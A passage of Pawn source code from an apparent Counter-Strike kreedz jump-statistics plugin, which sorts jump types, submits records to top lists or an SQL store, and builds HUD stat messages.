if(jump_type[id]==Type_Multi_Bhop && multibhoppre[id]==false)
{
g_reset[id]=true;
return FMRES_IGNORED;
}
if(!failed_jump[id] && !not_save)
{
new tmp_type_num=-1;
//saving tops
if(!ddstandcj[id] && !CjafterJump[id] && jump_type[id]!=Type_None && jump_type[id]!=Type_Null && jump_type[id]!=Type_Nothing && jump_type[id]!=Type_Nothing2 && Pmaxspeed==250.0 && kz_top==1 && kz_map_top==1)
{
checkmap( id, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],Jtype1[id]);
}
if(!CjafterJump[id] && jump_type[id]==Type_Double_CountJump && kz_top==1 && uq_dcj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[10],10, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[10],10, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[6],6, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[6],6,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"doublecj_top");
tmp_type_num=10;
}
}
else if(!CjafterJump[id] && jump_type[id]==Type_Multi_CountJump && kz_top==1 && uq_mcj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops2( id,Type_List[21],21, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[21],21, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[7],7, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[7],7,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"multicj_top");
tmp_type_num=21;
}
}
else if(!CjafterJump[id] && jump_type[id]==Type_CountJump && kz_top==1 && uq_cj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[2],2, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[2],2, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[1],1, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[1],1,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"cj_top");
tmp_type_num=2;
}
}
else if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && kz_top==1 && uq_lj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[0],0, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
if(jump_type[id]==Type_HighJump)
{
checktops_block( id,"hj",6, distance[id], edgedist[id], jumpblock[id]);
}
else checktops_block( id,Type_List[0],0, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[0],0, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
if(jump_type[id]==Type_HighJump)
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),"hj",9,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
else checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[0],0,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"lj_top");
tmp_type_num=0;
}
}
else if(jump_type[id]==Type_ladder && kz_top==1 && uq_ladder==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[6],6, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"ladder_top");
tmp_type_num=6;
}
}
else if(jump_type[id]==Type_BhopLongJump && kz_top==1 && uq_bj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[4],4, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[4],4, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[3],3, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[3],3,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"bj_top");
tmp_type_num=4;
}
}
else if(jump_type[id]==Type_ladderBhop && kz_top==1 && uq_ldbj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[7],7, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[7],7, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"ladderbhop_top");
tmp_type_num=7;
}
}
else if(jump_type[id]==Type_WeirdLongJump && kz_top==1 && uq_wj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[3],3, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[3],3, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[2],2, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[2],2,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"wj_top");
tmp_type_num=3;
}
}
else if(jump_type[id]==Type_Drop_BhopLongJump && kz_top==1 && uq_drbj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[9],9, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[9],9, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[5],5, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[5],5,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"dropbj_top");
tmp_type_num=9;
}
}
else if(jump_type[id]==Type_StandupBhopLongJump && kz_top==1 && uq_sbj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[5],5, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[5],5, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[4],4, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[4],4,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"sbj_top");
tmp_type_num=5;
}
}
else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==0 && kz_extras==1 && kz_top==1 && uq_drsbj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[1],1, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[1],1, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"scj_top");
tmp_type_num=1;
}
}
else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==1 && kz_extras==1 && kz_top==1 && uq_dscj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[11],11, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[11],11, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"doublescj_top");
tmp_type_num=11;
}
}
else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==2 && kz_extras==1 && kz_top==1 && uq_mscj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops2( id,Type_List[22],22, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[22],22, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"multiscj_top");
tmp_type_num=22;
}
}
else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==0 && kz_extras==1 && kz_top==1 && uq_dropscj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[12],12, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[12],12, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"dropscj_top");
tmp_type_num=12;
}
}
else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==1 && kz_extras==1 && kz_top==1 && uq_dropdscj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[13],13, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[13],13, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"dropdoublescj_top");
tmp_type_num=13;
}
}
else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==2 && kz_extras==1 && kz_top==1 && uq_dropmscj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops2( id,Type_List[23],23, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[23],23, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"dropmultiscj_top");
tmp_type_num=23;
}
}
else if(jump_type[id]==Type_DuckBhop && kz_extras==1 && kz_top==1 && uq_duckbhop==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[14],14, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[14],14, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"duckbhop_top");
tmp_type_num=14;
}
}
else if(jump_type[id]==Type_Bhop_In_Duck && kz_extras==1 && kz_top==1 && uq_bhopinduck==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[15],15, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[15],15, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"bhopinduck_top");
tmp_type_num=15;
}
}
else if(jump_type[id]==Type_Real_ladder_Bhop && kz_extras==1 && kz_top==1 && uq_realldbhop==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[16],16, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[16],16, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"realladderbhop_top");
tmp_type_num=16;
}
}
else if(jump_type[id]==Type_Up_Bhop && kz_extras==1 && kz_top==1 && uq_upbj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[17],17, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[17],17, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"upbj_top");
tmp_type_num=17;
}
}
else if(jump_type[id]==Type_Up_Bhop_In_Duck && kz_extras==1 && kz_top==1 && uq_upbhopinduck==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[19],19, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[19],19, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"upbhopinduck_top");
tmp_type_num=19;
}
}
else if(jump_type[id]==Type_Up_Stand_Bhop && kz_extras==1 && kz_top==1 && uq_upsbj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[18],18, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[18],18, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"upsbj_top");
tmp_type_num=18;
}
}
else if(jump_type[id]==Type_Multi_Bhop && kz_extras==1 && kz_top==1 && uq_multibhop==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops2( id,Type_List[24],24, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],bhop_num[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[24],24, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"multibhop_top");
tmp_type_num=24;
}
}
else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==2 && kz_extras==1 && kz_top==1 && uq_dropmcj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops2( id,Type_List[25],25, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[25],25, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"multidropcj_top");
tmp_type_num=25;
}
}
else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==1 && kz_extras==1 && kz_top==1 && uq_dropdcj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[20],20, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[20],20, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"doubledropcj_top");
tmp_type_num=20;
}
}
else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==0 && kz_top==1 && uq_drcj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[8],8, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[8],8, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[8],8, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[8],8,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"dropcj_top");
tmp_type_num=8;
}
}
if(tmp_type_num!=-1 && !ddstandcj[id] && !CjafterJump[id] && kz_sql==1 && jump_type[id]!=Type_None && jump_type[id]!=Type_Null && jump_type[id]!=Type_Nothing && jump_type[id]!=Type_Nothing2)
{
if(jumpblock[id]>100 && kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
new cData[6];
cData[0] = floatround(distance[id]*1000000);
cData[1] = floatround(edgedist[id]*1000000);
cData[2] = jumpblock[id];
if(jump_type[id]==Type_HighJump)
{
cData[3]=6;
}
else cData[3] = tmp_type_num;
cData[4] = Pmaxspeed;
cData[5] = wpn;
PlayerSaveData_to_SQL_block(id, cData);
}
new cData[9];
cData[0] = floatround(distance[id]*1000000);
cData[1] = floatround(maxspeed[id]*1000000);
cData[2] = floatround(prestrafe[id]*1000000);
cData[3] = strafe_num[id];
cData[4] = sync_[id];
if(jump_type[id]==Type_Multi_Bhop)
{
cData[5]=bhop_num[id];
}
else cData[5] = ducks[id];
cData[6] = tmp_type_num;
cData[7] = Pmaxspeed;
cData[8] = wpn;
PlayerSaveData_to_SQL(id, cData);
}
}
if(kz_stats_pre[id]==true)//ducks stat for mcj
{
strM[0] = '^0';
strMBuf[0] = '^0';
strL = INFO_ZERO;
for(jj = 2;jj <= ducks[id]; jj++)
{
strL += format(strM[strL],(40*NSTRAFES)-strL-1, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT8", jj-1,statsduckspeed[id][jj]);
}
copy(strMBuf,strL,strM);//dlya stat ducks
}
if(uq_istrafe)
{
new st1[NSTRAFES],st2[NSTRAFES];
for(new i = 1;i <= strafe_num[id]; i++)
{
if(i<NSTRAFES)
{
st1[i]=strafe_stat_sync[id][i][0];
st2[i]=strafe_stat_sync[id][i][1];
}
}
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(ingame_strafe[i])
{
new Float:or[3];
pev(id,pev_origin,or);
remove_beam_ent(i);
epta(i,or,direct_for_strafe[id],line_lost[id],FullJumpFrames[id],is_user_ducking(id),strafe_num[id],st1,st2,strafe_lost_frame[id]);
}
}
}
}
/*
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
{
copy(strMessBuf,strLen,strMess);
//stats
if(jump_type[id]==Type_Multi_Bhop &&!failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id],bhop_num[id]);
}
else if((jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump)) &&!failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT2", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
}
else if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) &&!failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
}
else if((jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats);
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
}
else if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump ) && !failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats);
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id],prestrafe[id],strafe_num[id], sync_[id]);
}
else if((jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id], strafe_num[id], sync_[id],dd_sync[id]);
}
if(jump_type[id] != Type_Slide && streifstat[id]==true && jump_type[id]!=Type_None && !failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, strafe_x, strafe_y, 0, 6.0, 2.5, 0.1, 0.3, h_streif);
show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMessBuf); //stata streifof
}
if(kz_stats_pre[id]==true && (jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, duck_x,duck_y, 0, 6.0, 2.5, 0.1, 0.3, h_duck);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMBuf);//stata duckov
}
//failstats
if(jump_type[id]==Type_Multi_Bhop && (failed_jump[id]))
{
set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id],bhop_num[id]);
}
else if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && (failed_jump[id]))
{
set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
}
else if((jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
{
set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
}
else if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump ) && (failed_jump[id]))
{
set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
}
else if((jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
{
set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT2", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
}
else if((jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
{
